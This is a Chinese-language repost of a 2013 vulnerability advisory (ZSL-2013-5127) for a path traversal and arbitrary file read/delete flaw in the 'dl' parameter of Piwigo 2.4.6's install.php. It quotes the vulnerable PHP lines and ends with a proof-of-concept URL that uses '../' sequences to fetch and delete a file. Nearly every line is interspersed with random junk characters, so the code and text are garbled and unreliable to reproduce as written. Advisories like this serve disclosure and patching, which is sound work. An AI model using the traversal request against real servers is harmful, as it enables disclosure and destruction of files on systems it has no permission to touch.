Piwigo是用PHP编写的相册脚本。' i9 @0 n2 w1 z$ a1 Q$ y/ A
0 K- l+ \ z! q; Q* H' z, m& S' G) G8 s/ A
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
+ z9 ^+ h; l# f# V$ U* T& P====================================================================+ u1 k' p2 T( y) T
/install.php:) W0 I8 R6 Z# Y: w3 o8 T
-------------8 k: O& I, c% i: T" i5 o
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])) _7 h' h4 P! ?: m5 R' I" M% m' n- r) ]
114: {. [: p) q; t& I
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];/ z" p x* d1 }" I; ^
116: header('Cache-Control: no-cache, must-revalidate');
5 L1 d4 \2 S; W! |7 _- ^# e117: header('Pragma: no-cache');
+ R& j% b& I. O# o" ~5 W- F118: header('Content-Disposition: attachment; filename="database.inc.php"');3 y, g2 c$ R% _2 c j6 e1 h
119: header('Content-Transfer-Encoding: binary');& S$ N8 l8 i' x6 ~
120: header('Content-Length: '.filesize($filename));
5 D; ^: ?# t1 E" h% @ M121: echo file_get_contents($filename);
1 I" \; x, J- \( u8 A3 q122: unlink($filename);7 C8 J9 X" g: p8 e! \; m
123: exit();
d$ E2 A( m0 j2 F: e! Q- ]0 D D6 Q124: }) T* e* e3 g: W& K
====================================================================& @8 g6 J5 D# a, R
' \* I! e, Y2 {Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
2 B9 j! g+ b" N& f3 ] Apache 2.4.2 (Win32)0 F9 \* Q5 f6 [6 j9 c! H
PHP 5.4.4/ u$ A2 j6 J6 ?" }( e: L7 H4 f
MySQL 5.5.25a
0 c' `9 f6 I) a7 D& ?" y2 E 9 ~$ B, p& ]9 `& O6 W
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic2 K6 r7 c' T% O) R! X H
@zeroscience* q7 `( U. G7 U8 X
: w6 T+ O! P0 d% A5 |, P# U- ^Advisory ID: ZSL-2013-5127
6 k: ^, z, x8 d7 ], z0 C TAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php/ g5 g$ I2 U; h7 S3 a, P1 O6 j
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843; e: C, Q" `6 m
$ Z7 u( h6 t$ r. ?0 k z( K15.02.20132 \1 L' h" a; y) w* Z
1 i# g. i. v1 M) j' m$ {& s--3 c) L- j; H0 g3 t! d! p
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
2 E2 D$ l E: ` c2 E& Z3 j $ `2 T) a, z' D* ^1 F, b
|